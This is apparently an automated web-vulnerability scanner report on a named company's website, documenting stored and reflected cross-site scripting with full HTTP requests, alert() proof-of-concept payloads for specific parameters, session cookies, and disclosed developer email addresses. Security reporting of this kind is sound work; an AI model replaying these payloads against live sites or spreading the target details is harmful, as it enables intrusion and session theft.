DORK, Stored XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86

Stored cross-site scripting vulnerabilities arise when data which originated from any tainted source is copied into the application's responses in an unsafe way. An attacker can use the vulnerability to inject malicious JavaScript code into the application, which will execute within the browser of any user who views the relevant application content.

The attacker-supplied code can perform a wide variety of actions, such as stealing victims' session tokens or login credentials, performing arbitrary actions on their behalf, and logging their keystrokes.

Methods for introducing malicious content include any function where request parameters or headers are processed and stored by the application, and any out-of-band channel whereby data can be introduced into the application's processing space (for example, email messages sent over SMTP which are ultimately rendered within a web mail application).

Stored cross-site scripting flaws are typically more serious than reflected vulnerabilities because they do not require a separate delivery mechanism in order to reach targe users, and they can potentially be exploited to create web application worms which spread exponentially amongst application users.

Note that automated detection of stored cross-site scripting vulnerabilities cannot reliably determine whether attacks that are persisted within the application can be accessed by any other user, only by authenticated users, or only by the attacker themselves. You should review the functionality in which the vulnerability appears to determine whether the application's behaviour can feasibly be used to compromise other application users.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.savvis.com/_layouts/SavvisUtilities/BreadCrumb.aspx [url parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.savvis.com
Path:	/_layouts/SavvisUtilities/BreadCrumb.aspx

Issue detail

Request 1

GET /_layouts/SavvisUtilities/BreadCrumb.aspx?text=Contact%20Us&url=13414"><script>alert(1)</script>9393b8fc187 HTTP/1.1
Host: www.savvis.com
Proxy-Connection: keep-alive
Referer: http://www.savvis.com/en-US/Contacts/Pages/Home.aspx
X-Requested-With: XMLHttpRequest
Accept: text/html, */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=v4ogkqaqnxabmhavqq3hfh55; ISAWPLB{D019C4BA-90BB-4640-8350-292563A5F97F}={34118E4A-FE50-4D71-BFA9-8A541F4A5C1A}

Request 2

GET /_layouts/SavvisUtilities/BreadCrumb.aspx?text=Contact%20Us&url=http%3A//www.savvis.com/en-US/Contacts/Pages/Home.aspx HTTP/1.1
Host: www.savvis.com
Proxy-Connection: keep-alive
Referer: http://www.savvis.com/en-US/Contacts/Pages/Home.aspx
X-Requested-With: XMLHttpRequest
Accept: text/html, */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=v4ogkqaqnxabmhavqq3hfh55; ISAWPLB{D019C4BA-90BB-4640-8350-292563A5F97F}={34118E4A-FE50-4D71-BFA9-8A541F4A5C1A}

Response 2

HTTP/1.1 200 OK
Connection: Keep-Alive
Expires: Sat, 05 Mar 2011 00:19:41 GMT
Date: Sat, 05 Mar 2011 00:20:41 GMT
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
MicrosoftSharePointTeamServices: 12.0.0.6211
X-Server: EW05
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Vary: Accept-Encoding
Content-Length: 455

<p id="breadcrumb">Previously Viewed Pages<br/><span>Path to this content : </span><a href="http://www.savvis.com/en-US/Contacts/Pages/Home.aspx" title="Contact Us">Contact Us</a> / <a href="a3189"><a
...[SNIP]...
<a href="13414"><script>alert(1)</script>9393b8fc187" title="Contact Us">
...[SNIP]...

1.2. http://www.savvis.com/_layouts/SavvisUtilities/BreadCrumb.aspx [url parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.savvis.com
Path:	/_layouts/SavvisUtilities/BreadCrumb.aspx

Issue detail

The value of the url request parameter submitted to the URL /_layouts/SavvisUtilities/BreadCrumb.aspx is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks at the URL /_layouts/SavvisUtilities/BreadCrumb.aspx. The payload aad85"style%3d"x%3aexpression(alert(1))"fa72c56b2b8 was submitted in the url parameter. This input was returned as aad85"style="x:expression(alert(1))"fa72c56b2b8 in a subsequent request for the URL /_layouts/SavvisUtilities/BreadCrumb.aspx.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request 1

GET /_layouts/SavvisUtilities/BreadCrumb.aspx?text=Contact%20Us&url=aad85"style%3d"x%3aexpression(alert(1))"fa72c56b2b8 HTTP/1.1
Host: www.savvis.com
Proxy-Connection: keep-alive
Referer: http://www.savvis.com/en-US/Contacts/Pages/Home.aspx
X-Requested-With: XMLHttpRequest
Accept: text/html, */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ISAWPLB{D019C4BA-90BB-4640-8350-292563A5F97F}={1FC03E2D-326E-46F6-8507-C25AD0B14C44}; ASP.NET_SessionId=g53kmebm1klpjke5hudcebe5

Request 2

GET /_layouts/SavvisUtilities/BreadCrumb.aspx?text=Contact%20Us&url=http%3A//www.savvis.com/en-US/Contacts/Pages/Home.aspx HTTP/1.1
Host: www.savvis.com
Proxy-Connection: keep-alive
Referer: http://www.savvis.com/en-US/Contacts/Pages/Home.aspx
X-Requested-With: XMLHttpRequest
Accept: text/html, */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ISAWPLB{D019C4BA-90BB-4640-8350-292563A5F97F}={1FC03E2D-326E-46F6-8507-C25AD0B14C44}; ASP.NET_SessionId=g53kmebm1klpjke5hudcebe5

Response 2

HTTP/1.1 200 OK
Connection: Keep-Alive
Expires: Sat, 05 Mar 2011 03:07:35 GMT
Date: Sat, 05 Mar 2011 03:08:37 GMT
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
MicrosoftSharePointTeamServices: 12.0.0.6211
X-Server: EW06
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Vary: Accept-Encoding
Content-Length: 460

<p id="breadcrumb">Previously Viewed Pages<br/><span>Path to this content : </span><a href="http://www.savvis.com/en-US/Contacts/Pages/Home.aspx" title="Contact Us">Contact Us</a> / <a href="ae08c"a="
...[SNIP]...
<a href="aad85"style="x:expression(alert(1))"fa72c56b2b8" title="Contact Us">
...[SNIP]...

2. Cross-site scripting (reflected) previous next
There are 3 instances of this issue:

/_layouts/SavvisUtilities/BreadCrumb.aspx [text parameter]
/_layouts/SavvisUtilities/Video.aspx [src parameter]
/_layouts/SavvisUtilities/Video.aspx [title parameter]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

2.1. http://www.savvis.com/_layouts/SavvisUtilities/BreadCrumb.aspx [text parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.savvis.com
Path:	/_layouts/SavvisUtilities/BreadCrumb.aspx

Issue detail

The value of the text request parameter is copied into the HTML document as plain text between tags. The payload 9897f<script>alert(1)</script>29e80fc9d2a was submitted in the text parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /_layouts/SavvisUtilities/BreadCrumb.aspx?text=Solutions9897f<script>alert(1)</script>29e80fc9d2a&url=http%3A//www.savvis.com/en-US/Solutions/Pages/Home.aspx HTTP/1.1
Host: www.savvis.com
Proxy-Connection: keep-alive
Referer: http://www.savvis.com/en-US/Solutions/Pages/Home.aspx
X-Requested-With: XMLHttpRequest
Accept: text/html, */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ISAWPLB{D019C4BA-90BB-4640-8350-292563A5F97F}={1FC03E2D-326E-46F6-8507-C25AD0B14C44}

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Expires: Fri, 04 Mar 2011 02:14:19 GMT
Date: Fri, 04 Mar 2011 02:15:19 GMT
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
MicrosoftSharePointTeamServices: 12.0.0.6211
X-Server: EW06
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=unhdg445ld4ntjqpdbkyhdrx; path=/; HttpOnly
Cache-Control: private
Vary: Accept-Encoding
Content-Length: 175

<p id="breadcrumb">Previously Viewed Pages<br/><span>Path to this content : </span><a href="/" title="Home">Home</a> / Solutions9897f<script>alert(1)</script>29e80fc9d2a</p>

2.2. http://www.savvis.com/_layouts/SavvisUtilities/Video.aspx [src parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.savvis.com
Path:	/_layouts/SavvisUtilities/Video.aspx

Issue detail

The value of the src request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3bf16"%3balert(1)//73f5cbce803 was submitted in the src parameter. This input was echoed as 3bf16";alert(1)//73f5cbce803 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /_layouts/SavvisUtilities/Video.aspx?src=/Assets/Video/ssp_demo.flv3bf16"%3balert(1)//73f5cbce803&title=SavvisStation%20Online%20Portal HTTP/1.1
Host: www.savvis.com
Proxy-Connection: keep-alive
Referer: http://www.savvis.com/en-US/Pages/Home.aspx
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ISAWPLB{D019C4BA-90BB-4640-8350-292563A5F97F}={1FC03E2D-326E-46F6-8507-C25AD0B14C44}; ASP.NET_SessionId=g53kmebm1klpjke5hudcebe5

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Date: Sat, 05 Mar 2011 03:10:55 GMT
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
MicrosoftSharePointTeamServices: 12.0.0.6211
X-Server: EW06
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Vary: Accept-Encoding
Content-Length: 1542

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   <title>Savv
...[SNIP]...
swf", "videoPlayerSWF", "482", "402", "8", "#ffffff");
           soVid.addParam("base", "/assets/flash");
           soVid.addParam("wmode", "opaque");
           soVid.addParam("flashvars", "video=/Assets/Video/ssp_demo.flv3bf16";alert(1)//73f5cbce803");
           soVid.write("flashplayer");
           // ]]>
...[SNIP]...

2.3. http://www.savvis.com/_layouts/SavvisUtilities/Video.aspx [title parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.savvis.com
Path:	/_layouts/SavvisUtilities/Video.aspx

Issue detail

The value of the title request parameter is copied into the HTML document as plain text between tags. The payload 8a926<script>alert(1)</script>db95c7aced9 was submitted in the title parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /_layouts/SavvisUtilities/Video.aspx?src=/Assets/Video/ssp_demo.flv&title=SavvisStation%20Online%20Portal8a926<script>alert(1)</script>db95c7aced9 HTTP/1.1
Host: www.savvis.com
Proxy-Connection: keep-alive
Referer: http://www.savvis.com/en-US/Pages/Home.aspx
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ISAWPLB{D019C4BA-90BB-4640-8350-292563A5F97F}={1FC03E2D-326E-46F6-8507-C25AD0B14C44}; ASP.NET_SessionId=g53kmebm1klpjke5hudcebe5

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Date: Sat, 05 Mar 2011 03:10:58 GMT
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
MicrosoftSharePointTeamServices: 12.0.0.6211
X-Server: EW06
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Vary: Accept-Encoding
Content-Length: 1555

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Savv
...[SNIP]...
<h1>SavvisStation Online Portal8a926<script>alert(1)</script>db95c7aced9</h1>
...[SNIP]...

3. Cross-domain Referer leakage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.savvis.com
Path:	/_layouts/SavvisUtilities/Video.aspx

Issue detail

The page was loaded from a URL containing a query string:

http://www.savvis.com/_layouts/SavvisUtilities/Video.aspx?src=/Assets/Video/ssp_demo.flv&title=SavvisStation%20Online%20Portal

The response contains the following link to another domain:

http://get.adobe.com/flashplayer/

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /_layouts/SavvisUtilities/Video.aspx?src=/Assets/Video/ssp_demo.flv&title=SavvisStation%20Online%20Portal HTTP/1.1
Host: www.savvis.com
Proxy-Connection: keep-alive
Referer: http://www.savvis.com/en-US/Pages/Home.aspx
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ISAWPLB{D019C4BA-90BB-4640-8350-292563A5F97F}={1FC03E2D-326E-46F6-8507-C25AD0B14C44}; ASP.NET_SessionId=g53kmebm1klpjke5hudcebe5

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Date: Sat, 05 Mar 2011 03:10:46 GMT
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
MicrosoftSharePointTeamServices: 12.0.0.6211
X-Server: EW06
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Vary: Accept-Encoding
Content-Length: 1514

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Savv
...[SNIP]...
<p>You must have the latest <a href="http://get.adobe.com/flashplayer/" class="external">Adobe Flash Player</a>
...[SNIP]...

4. Cross-domain script include previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.savvis.com
Path:	/en-ca/Solutions/Pages/Content_Management.aspx

Issue detail

The response dynamically includes the following script from another domain:

http://t2.trackalyzer.com/trackalyze.js

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /en-ca/Solutions/Pages/Content_Management.aspx HTTP/1.1
Host: www.savvis.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ISAWPLB{D019C4BA-90BB-4640-8350-292563A5F97F}={34118E4A-FE50-4D71-BFA9-8A541F4A5C1A}; ASP.NET_SessionId=g53kmebm1klpjke5hudcebe5;

Response

HTTP/1.1 200 OK
Connection: close
Content-Length: 30531
Expires: Sat, 05 Mar 2011 15:05:48 GMT
Date: Sat, 05 Mar 2011 13:05:48 GMT
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
MicrosoftSharePointTeamServices: 12.0.0.6211
X-Server: EW05
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Vary: *

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html id="ctl00_Html1" dir="ltr">
<head id="ctl00_Head1"><meta name="GENERATOR" content="Micros
...[SNIP]...
</script>
<script type="text/javascript" language="javascript" src="http://t2.trackalyzer.com/trackalyze.js"></script>
...[SNIP]...

5. Email addresses disclosed previous next
There are 9 instances of this issue:

/assets/scripts/js/jquery.bgiframe.js
/assets/scripts/js/jquery.dimensions.js
/assets/scripts/js/jquery.hoverintent.js
/assets/shadowbox/shadowbox.js
/assets/shadowbox/skin/classic/skin.css
/assets/shadowbox/skin/classic/skin.js
/en-US/Contacts/Pages/Home.aspx
/en-US/Contacts/Pages/Support.aspx
/en-US/Pages/Privacy_Policy.aspx

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

5.1. http://www.savvis.com/assets/scripts/js/jquery.bgiframe.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.savvis.com
Path:	/assets/scripts/js/jquery.bgiframe.js

Issue detail

The following email address was disclosed in the response:

brandon.aaron@gmail.com

Request

GET /assets/scripts/js/jquery.bgiframe.js HTTP/1.1
Host: www.savvis.com
Proxy-Connection: keep-alive
Referer: http://www.savvis.com/en-US/Pages/Home.aspx
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ISAWPLB{D019C4BA-90BB-4640-8350-292563A5F97F}={1FC03E2D-326E-46F6-8507-C25AD0B14C44}

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Length: 4825
Date: Fri, 04 Mar 2011 02:13:34 GMT
Content-Type: application/x-javascript
ETag: "{1AFB43C9-11D7-4D1C-AE61-1738FEC907D8},435"
Server: Microsoft-IIS/6.0
MicrosoftSharePointTeamServices: 12.0.0.6211
X-Server: EW06
X-Powered-By: ASP.NET
Last-Modified: Wed, 16 Feb 2011 05:01:32 GMT
ResourceTag: rt:1AFB43C9-11D7-4D1C-AE61-1738FEC907D8@00000000435
Exires: Thu, 17 Feb 2011 02:13:34 GMT
Cache-Control: private,max-age=0
Public-Extension: http://schemas.microsoft.com/repl-2

/* Copyright (c) 2006 Brandon Aaron (http://brandonaaron.net)
* Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)
* and GPL (http://www.opensource.org/licenses/gpl-li
...[SNIP]...
ided so that one could change
*        the src of the iframe to whatever they need.
*        Default: "javascript:false;"
*
* @name bgiframe
* @type jQuery
* @cat Plugins/bgiframe
* @author Brandon Aaron (brandon.aaron@gmail.com || http://brandonaaron.net)
*/
$.fn.bgIframe = $.fn.bgiframe = function(s) {
   // This is only for IE6
   if ( $.browser.msie && /6.0/.test(navigator.userAgent) ) {
       s = $.extend({
           top : 'auto',
...[SNIP]...

5.2. http://www.savvis.com/assets/scripts/js/jquery.dimensions.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.savvis.com
Path:	/assets/scripts/js/jquery.dimensions.js

Issue detail

The following email addresses were disclosed in the response:

brandon.aaron@gmail.com
paul.bakaus@googlemail.com

Request

GET /assets/scripts/js/jquery.dimensions.js HTTP/1.1
Host: www.savvis.com
Proxy-Connection: keep-alive
Referer: http://www.savvis.com/en-US/Pages/Home.aspx
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ISAWPLB{D019C4BA-90BB-4640-8350-292563A5F97F}={1FC03E2D-326E-46F6-8507-C25AD0B14C44}

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Length: 3523
Date: Fri, 04 Mar 2011 02:13:34 GMT
Content-Type: application/x-javascript
ETag: "{9F9A09C1-C51B-4F8B-8799-53D3DCA841D8},434"
Server: Microsoft-IIS/6.0
MicrosoftSharePointTeamServices: 12.0.0.6211
X-Server: EW06
X-Powered-By: ASP.NET
Last-Modified: Wed, 16 Feb 2011 05:01:32 GMT
ResourceTag: rt:9F9A09C1-C51B-4F8B-8799-53D3DCA841D8@00000000434
Exires: Thu, 17 Feb 2011 02:13:34 GMT
Cache-Control: private,max-age=0
Public-Extension: http://schemas.microsoft.com/repl-2

/* Copyright (c) 2007 Paul Bakaus (paul.bakaus@googlemail.com) and Brandon Aaron (brandon.aaron@gmail.com || http://brandonaaron.net)
* Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)
* and GPL (http://www.opensource.org/licenses/gpl-license.php) licenses.
*
* $LastCha
...[SNIP]...

5.3. http://www.savvis.com/assets/scripts/js/jquery.hoverintent.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.savvis.com
Path:	/assets/scripts/js/jquery.hoverintent.js

Issue detail

The following email address was disclosed in the response:

brian@cherne.net

Request

GET /assets/scripts/js/jquery.hoverintent.js HTTP/1.1
Host: www.savvis.com
Proxy-Connection: keep-alive
Referer: http://www.savvis.com/en-US/Pages/Home.aspx
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ISAWPLB{D019C4BA-90BB-4640-8350-292563A5F97F}={1FC03E2D-326E-46F6-8507-C25AD0B14C44}

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Length: 1606
Date: Fri, 04 Mar 2011 02:13:33 GMT
Content-Type: application/x-javascript
ETag: "{7C340466-C5A0-4EC3-A102-CC1C484C2043},411"
Server: Microsoft-IIS/6.0
MicrosoftSharePointTeamServices: 12.0.0.6211
X-Server: EW06
X-Powered-By: ASP.NET
Last-Modified: Fri, 31 Dec 2010 01:38:05 GMT
ResourceTag: rt:7C340466-C5A0-4EC3-A102-CC1C484C2043@00000000411
Exires: Thu, 17 Feb 2011 02:13:33 GMT
Cache-Control: private,max-age=0
Public-Extension: http://schemas.microsoft.com/repl-2

/**
* hoverIntent r5 // 2007.03.27 // jQuery 1.1.2+
* <http://cherne.net/brian/resources/jquery.hoverIntent.html>
*
* @param f onMouseOver function || An object with configuration options
* @param
...[SNIP]...
<brian@cherne.net>
...[SNIP]...

5.4. http://www.savvis.com/assets/shadowbox/shadowbox.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.savvis.com
Path:	/assets/shadowbox/shadowbox.js

Issue detail

The following email address was disclosed in the response:

mjijackson@gmail.com

Request

GET /assets/shadowbox/shadowbox.js HTTP/1.1
Host: www.savvis.com
Proxy-Connection: keep-alive
Referer: http://www.savvis.com/en-US/Pages/Home.aspx
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ISAWPLB{D019C4BA-90BB-4640-8350-292563A5F97F}={1FC03E2D-326E-46F6-8507-C25AD0B14C44}

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Length: 71504
Date: Fri, 04 Mar 2011 02:13:35 GMT
Content-Type: application/x-javascript
ETag: "{1B575407-C135-4468-8137-DC2EBF8A20AB},432"
Server: Microsoft-IIS/6.0
MicrosoftSharePointTeamServices: 12.0.0.6211
X-Server: EW06
X-Powered-By: ASP.NET
Last-Modified: Wed, 16 Feb 2011 05:01:32 GMT
ResourceTag: rt:1B575407-C135-4468-8137-DC2EBF8A20AB@00000000432
Exires: Thu, 17 Feb 2011 02:13:35 GMT
Cache-Control: private,max-age=0
Public-Extension: http://schemas.microsoft.com/repl-2

/**
* The Shadowbox class.
*
* This file is part of Shadowbox.
*
* Shadowbox is an online media viewer application that supports all of the
* web's most popular media publishing formats. Shadowb
